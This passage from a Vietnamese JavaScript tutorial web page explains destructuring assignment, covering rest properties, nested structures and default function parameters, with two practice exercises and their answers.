spread</strong> <code>...</code> để gán các thuộc tính còn lại cho object khi thực hiện destructuring.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> <span class="token punctuation">{</span> a<span class="token punctuation">,</span> b<span class="token punctuation">,</span> <span class="token operator">...</span>rest <span class="token punctuation">}</span> <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">a</span><span class="token operator">:</span> <span class="token number">10</span><span class="token punctuation">,</span> <span class="token literal-property property">b</span><span class="token operator">:</span> <span class="token number">20</span><span class="token punctuation">,</span> <span class="token literal-property property">c</span><span class="token operator">:</span> <span class="token number">30</span><span class="token punctuation">,</span> <span class="token literal-property property">d</span><span class="token operator">:</span> <span class="token number">40</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">/* * a = 10 * b = 20 * rest = { c: 30, d: 40 } */</span></code></pre></div> <p>Trong ví dụ trên, bạn lấy ra hai thuộc tính <code>a</code> và <code>b</code>. Các thuộc tính còn lại được sao chép vào đối tượng <code>rest</code>.</p> <h3 id="destructuring-với-object-và-array-lồng-nhau" style="position:relative;"><a href="#destructuring-v%E1%BB%9Bi-object-v%C3%A0-array-l%E1%BB%93ng-nhau" aria-label="destructuring với object và array lồng nhau permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Destructuring với Object và Array lồng nhau</h3> <p>Bạn cũng có thể sử dụng destructuring assignment trong JavaScript với <strong>object và array lồng nhau nhiều tầng</strong>, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> options <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">size</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">width</span><span class="token operator">:</span> <span class="token number">100</span><span class="token punctuation">,</span> <span class="token literal-property property">height</span><span class="token operator">:</span> <span class="token number">200</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token literal-property property">items</span><span class="token operator">:</span> <span class="token punctuation">[</span><span class="token string">"Cake"</span><span class="token punctuation">,</span> <span class="token string">"Donut"</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token literal-property property">extra</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span> <span class="token comment">// trường này không destruct</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// cấu trúc để destruct phải giống với cấu trúc của Object</span> <span class="token keyword">let</span> <span class="token punctuation">{</span> <span class="token literal-property property">size</span><span class="token operator">:</span> <span class="token punctuation">{</span> width<span class="token punctuation">,</span> height <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token literal-property property">items</span><span class="token operator">:</span> <span class="token punctuation">[</span>item1<span class="token punctuation">,</span> item2<span class="token punctuation">]</span><span class="token punctuation">,</span> title <span class="token operator">=</span> <span class="token string">"Menu"</span><span class="token punctuation">,</span> <span class="token comment">// gán giá trị bởi default</span> <span class="token punctuation">}</span> <span class="token operator">=</span> options<span class="token punctuation">;</span> <span class="token comment">/* * Kết quả các biến thu được sau khi destructuring: * title = "Menu" - giá trị mặc định, vì vế phải không có thuộc tính title * width = 100 * height = 200 * item1 = "Cake" * item2 = "Donut" */</span></code></pre></div> <h3 id="cài-đặt-giá-trị-default-cho-các-tham-số-của-hàm" style="position:relative;"><a href="#c%C3%A0i-%C4%91%E1%BA%B7t-gi%C3%A1-tr%E1%BB%8B-default-cho-c%C3%A1c-tham-s%E1%BB%91-c%E1%BB%A7a-h%C3%A0m" aria-label="cài đặt giá trị default cho các tham số của hàm permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cài đặt giá trị default cho các tham số của hàm</h3> <p>Bạn có thể áp dụng destructuring assignment trong JavaScript để <strong>cài đặt giá trị mặc định cho các tham số</strong> khi truyền vào hàm.</p> <p>Sau đây, mình so sánh cách làm thông thường và cách dùng destructuring assignment để thấy sự khác biệt.</p> <h4 id="cách-làm-thông-thường" style="position:relative;"><a href="#c%C3%A1ch-l%C3%A0m-th%C3%B4ng-th%C6%B0%E1%BB%9Dng" aria-label="cách làm thông thường permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cách làm thông thường</h4> <p>Sau đây là cách bình thường để cài đặt <strong>giá trị mặc định</strong> cho các tham số của hàm:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">drawCicle</span><span class="token punctuation">(</span>x <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">,</span> y <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">,</span> radius <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">,</span> color <span class="token operator">=</span> <span class="token string">"black"</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// code xử lý</span> <span class="token punctuation">}</span> <span class="token comment">// Sử dụng</span> <span class="token function">drawCicle</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// hợp lệ</span> <span class="token function">drawCicle</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// hợp lệ</span> <span class="token function">drawCicle</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token string">"red"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// hợp lệ</span> <span class="token function">drawCicle</span><span class="token punctuation">(</span><span class="token string">"red"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// không hợp lệ</span> <span class="token function">drawCicle</span><span class="token punctuation">(</span><span class="token string">"red"</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// không hợp lệ</span></code></pre></div> <p>Cách trên có <strong>một số nhược điểm</strong> là:</p> <ul> <li>Bạn phải <strong>ghi nhớ vị trí</strong> của các tham số.</li> <li>Nếu muốn cài đặt giá trị mặc định cho tham số, bạn <strong>chỉ có thể</strong> áp dụng với các tham số bên phải, ngoài cùng.</li> <li>Không có cách nào để áp dụng giá trị default cho các tham số ở giữa.</li> </ul> <p>Giả sử, bạn muốn áp dụng giá trị default cho <code>y</code> và <code>radius</code> bằng cách gọi hàm:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token function">drawCicle</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token string">"red"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Cách gọi hàm trên <strong>không sai về cú pháp</strong> nhưng sai về mặt ý nghĩa. Vì JavaScript sẽ hiểu <code>x = 1</code>, <code>y = "red"</code>, <code>radius = 1</code> và <code>color = "black"</code>.</p> <p>Để tránh việc <strong>phải ghi nhớ thứ tự các tham số</strong>, bạn có thể gộp chúng vào một object. Sau đó, bạn chỉ cần truyền 1 tham số vào <a href="/ham-la-gi-ham-trong-javascript/">function</a> như dưới đây.</p> <h4 id="gộp-các-tham-số-vào-thành-một-object" style="position:relative;"><a href="#g%E1%BB%99p-c%C3%A1c-tham-s%E1%BB%91-v%C3%A0o-th%C3%A0nh-m%E1%BB%99t-object" aria-label="gộp các tham số vào thành một object permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Gộp các tham số vào thành một Object</h4> <p>Tương tự như ví dụ trên, nhưng giờ chỉ còn một tham số là object:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">drawCicle</span><span class="token punctuation">(</span><span class="token parameter">options</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> x <span class="token operator">=</span> options<span class="token punctuation">.</span>x <span class="token operator">||</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token keyword">let</span> y <span class="token operator">=</span> options<span class="token punctuation">.</span>y <span class="token operator">||</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token keyword">let</span> radius <span class="token operator">=</span> options<span class="token punctuation">.</span>radius <span class="token operator">||</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token keyword">let</span> color <span class="token operator">=</span> options<span class="token punctuation">.</span>color <span class="token operator">||</span> <span class="token string">"black"</span><span class="token punctuation">;</span> <span class="token comment">// code xử lý</span> <span class="token punctuation">}</span> <span class="token comment">// Sử dụng:</span> <span class="token function">drawCicle</span><span class="token punctuation">(</span><span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// hợp lệ</span> <span class="token function">drawCicle</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token literal-property property">radius</span><span class="token operator">:</span> <span class="token number">3</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// hợp lệ</span> <span class="token function">drawCicle</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token literal-property property">radius</span><span class="token operator">:</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token literal-property property">color</span><span class="token operator">:</span> <span class="token string">"red"</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// hợp lệ</span> <span class="token function">drawCicle</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">color</span><span class="token operator">:</span> <span class="token string">"red"</span><span class="token punctuation">,</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">radius</span><span class="token operator">:</span> <span class="token number">3</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// hợp lệ</span></code></pre></div> <p>Khi các tham số được gộp vào thành một object <code>options</code> thì bạn viết chúng theo thứ nào cũng không quan trọng (vì object không phân biệt thứ tự các thuộc tính).</p> <p>Tuy nhiên, cách cài đặt giá trị default như trên (dùng toán tử OR <code>||</code> ) vẫn còn khá dài dòng và phức tạp.</p> <p>Sau đây, mình thử áp dụng destructuring assigment trong JavaScript để thấy sự khác biệt.</p> <h4 id="gộp-các-tham-số-thành-object-kết-hợp-destructuring-assignment" style="position:relative;"><a href="#g%E1%BB%99p-c%C3%A1c-tham-s%E1%BB%91-th%C3%A0nh-object-k%E1%BA%BFt-h%E1%BB%A3p-destructuring-assignment" aria-label="gộp các tham số thành object kết hợp destructuring assignment permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Gộp các tham số thành object kết hợp destructuring assignment</h4> <p>Ví dụ trên có thể thay đổi như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">drawCicle</span><span class="token punctuation">(</span><span class="token punctuation">{</span> x <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">,</span> y <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">,</span> radius <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">,</span> color <span class="token operator">=</span> <span class="token string">"black"</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// code xử lý</span> <span class="token punctuation">}</span> <span class="token comment">// Sử dụng</span> <span class="token function">drawCicle</span><span class="token punctuation">(</span><span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// hợp lệ</span> <span class="token function">drawCicle</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token literal-property property">radius</span><span class="token operator">:</span> <span class="token number">3</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// hợp lệ</span> <span class="token function">drawCicle</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token literal-property property">radius</span><span class="token operator">:</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token literal-property property">color</span><span class="token operator">:</span> <span class="token string">"red"</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// hợp lệ</span> <span class="token function">drawCicle</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">color</span><span class="token operator">:</span> <span class="token string">"red"</span><span class="token punctuation">,</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">radius</span><span class="token operator">:</span> <span class="token number">3</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// hợp lệ</span></code></pre></div> <p>Bây giờ, mình đã <strong>khắc phục được hai nhược điểm</strong> đề cập bên trên. Tuy nhiên, cách làm này vẫn chưa thật hoàn thiện.</p> <p><strong>Vì sao?</strong></p> <p>Giả sử, bạn muốn sử dụng giá trị default cho <strong>tất cả các thuộc tính</strong> bên trong object. Bạn vẫn phải truyền vào một object rỗng (<code>{}</code>).</p> <p>Để khắc phục vấn đề này, bạn có thể sửa lại đoạn code trên một chút:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">drawCicle</span><span class="token punctuation">(</span><span class="token punctuation">{</span> x <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">,</span> y <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">,</span> radius <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">,</span> color <span class="token operator">=</span> <span class="token string">"black"</span> <span class="token punctuation">}</span> <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// code xử lý</span> <span class="token punctuation">}</span> <span class="token function">drawCicle</span><span class="token punctuation">(</span><span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// hợp lệ</span> <span class="token function">drawCircle</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// vẫn hợp lệ</span></code></pre></div> <p>Khi bạn <strong>không truyền bất kỳ tham số nào</strong> vào hàm trên, <code>options</code> sẽ lấy giá trị mặc định là object rỗng <code>{}</code>.</p> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Destructuring assignment trong JavaScript cho phép bạn "mapping" object hoặc array vào các biến một cách đơn giản.</p> <p>► Cú pháp destructuring assignment với array:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> <span class="token punctuation">[</span>item1 <span class="token operator">=</span> <span class="token keyword">default</span><span class="token punctuation">,</span> item2<span class="token punctuation">,</span> <span class="token operator">...</span>rest<span class="token punctuation">]</span> <span class="token operator">=</span> array</code></pre></div> <p>Trong đó, phần tử đầu tiên được gán vào biến <code>item1</code>, phần tử thứ hai được gán vào biến <code>item2</code> và các phần tử còn lại được gán vào biến <code>rest</code> (mảng).</p> <p>► Cú pháp destructuring assignment với object:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> <span class="token punctuation">{</span><span class="token literal-property property">prop</span> <span class="token operator">:</span> varName <span class="token operator">=</span> <span class="token keyword">default</span><span class="token punctuation">,</span> <span class="token operator">...</span>rest<span class="token punctuation">}</span> <span class="token operator">=</span> object</code></pre></div> <p>Trong đó, giá trị thuộc tính <code>prop</code> được gán vào biến <code>varName</code>. Nếu thuộc tính <code>prop</code> không tồn tại trong <code>object</code> thì biến <code>varName</code> có giá trị mặc định là <code>default</code>. Và các thuộc tính còn lại được copy vào đối tượng <code>rest</code>.</p> <p>Ngoài ra, bạn có thể áp dụng destructuring assignment trong JavaScript với object và mảng lồng nhau. Khi đó, cấu trúc ở vế trái phải tương đồng với cấu trúc vế phải.</p> <h2 id="thực-hành" style="position:relative;"><a href="#th%E1%BB%B1c-h%C3%A0nh" aria-label="thực hành permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thực hành</h2> <h3 id="bài-1" style="position:relative;"><a href="#b%C3%A0i-1" aria-label="bài 1 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 1</h3> <p>Cho object:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Alex"</span><span class="token punctuation">,</span> <span class="token literal-property property">years</span><span class="token operator">:</span> <span class="token number">28</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>Sử dụng destructuring assignment trong JavaScript thực hiện các yêu cầu sau:</p> <ul> <li>Đọc giá trị thuộc tính <code>name</code> và gán vào biến <code>name</code>.</li> <li>Đọc giá trị thuộc tính <code>years</code> và gán vào biến <code>age</code>.</li> <li>Đọc giá trị thuộc tính <code>isAdmin</code> và gán vào biến <code>isAdmin</code> (nếu thuộc tính không tồn tại thì giá trị mặc định là <code>false</code>).</li> </ul> <div class="wrap-collapsible margin-bottom"> <input id="collapsible1" class="toggle" type="checkbox"> <label for="collapsible1" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Alex"</span><span class="token punctuation">,</span> <span class="token literal-property property">years</span><span class="token operator">:</span> <span class="token number">28</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> <span class="token punctuation">{</span> name<span class="token punctuation">,</span> <span class="token literal-property property">years</span><span class="token operator">:</span> age<span class="token punctuation">,</span> isAdmin <span class="token operator">=</span> <span class="token boolean">false</span> <span class="token punctuation">}</span> <span class="token operator">=</span> user<span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>name<span class="token punctuation">,</span> age<span class="token punctuation">,</span> isAdmin<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Alex 28 false</span></code></pre></div> </div> </div> </div> <h3 id="bài-2" style="position:relative;"><a href="#b%C3%A0i-2" aria-label="bài 2 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 2</h3> <p>Cho đối tượng sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> people <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">Ana</span><span class="token operator">:</span> <span class="token number">25</span><span class="token punctuation">,</span> <span class="token literal-property property">Alex</span><span class="token operator">:</span> <span class="token number">28</span><span class="token punctuation">,</span> <span class="token literal-property property">John</span><span class="token operator">:</span> <span class="token number">27</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>Viết hàm <code>topAge(people)</code> trả về tên của người nhiều tuổi nhất.</p> <ul> <li>Nếu <code>people</code> là rỗng thì hàm trên trả về <code>null</code>.</li> <li>Nếu có nhiều người có cùng tuổi nhiều nhất thì trả về một người bất kỳ.</li> </ul> <div class="wrap-collapsible margin-bottom"> <input id="collapsible2" class="toggle" type="checkbox"> <label for="collapsible2" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">topAge</span><span class="token punctuation">(</span><span class="token parameter">people</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// nếu people không tồn tại thì trả về null</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>people<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token keyword">null</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// khai báo biến để lưu thông tin lớn nhất</span> <span class="token keyword">let</span> nameOfLargest <span class="token operator">=</span> <span class="token string">""</span><span class="token punctuation">;</span> <span class="token keyword">let</span> ageOfLargest <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">Infinity</span><span class="token punctuation">;</span> <span class="token comment">// sử dụng destructuring assignment với mỗi phần tử</span> <span class="token comment">// khi sử dụng for...of với Object.entries(people)</span> <span class="token comment">// chú ý: Object.entries(people) trả về iterable object</span> <span class="token comment">// với mỗi phần tử có dạng [key, value]</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> <span class="token punctuation">[</span>name<span class="token punctuation">,</span> age<span class="token punctuation">]</span> <span class="token keyword">of</span> Object<span class="token punctuation">.</span><span class="token function">entries</span><span class="token punctuation">(</span>people<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// nếu phần tử đang xét có age lớn hơn ageOfLargest thì cập nhật</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>age <span class="token operator">></span> ageOfLargest<span class="token punctuation">)</span> <span class="token punctuation">{</span> ageOfLargest <span class="token operator">=</span> age<span class="token punctuation">;</span> nameOfLargest <span class="token operator">=</span> name<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token comment">// trả về tên của người lớn tuổi nhất</span> <span class="token keyword">return</span> nameOfLargest<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> people <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">Ana</span><span class="token operator">:</span> <span class="token number">25</span><span class="token punctuation">,</span> <span class="token literal-property property">Alex</span><span class="token operator">:</span> <span class="token number">28</span><span class="token punctuation">,</span> <span class="token literal-property property">John</span><span class="token operator">:</span> <span class="token number">27</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> ret <span class="token operator">=</span> <span class="token function">topAge</span><span class="token punctuation">(</span>people<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>ret<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Alex</span></code></pre></div> </div> </div> </div> <p><strong>Tham khảo:</strong></p> <ul> <li><a 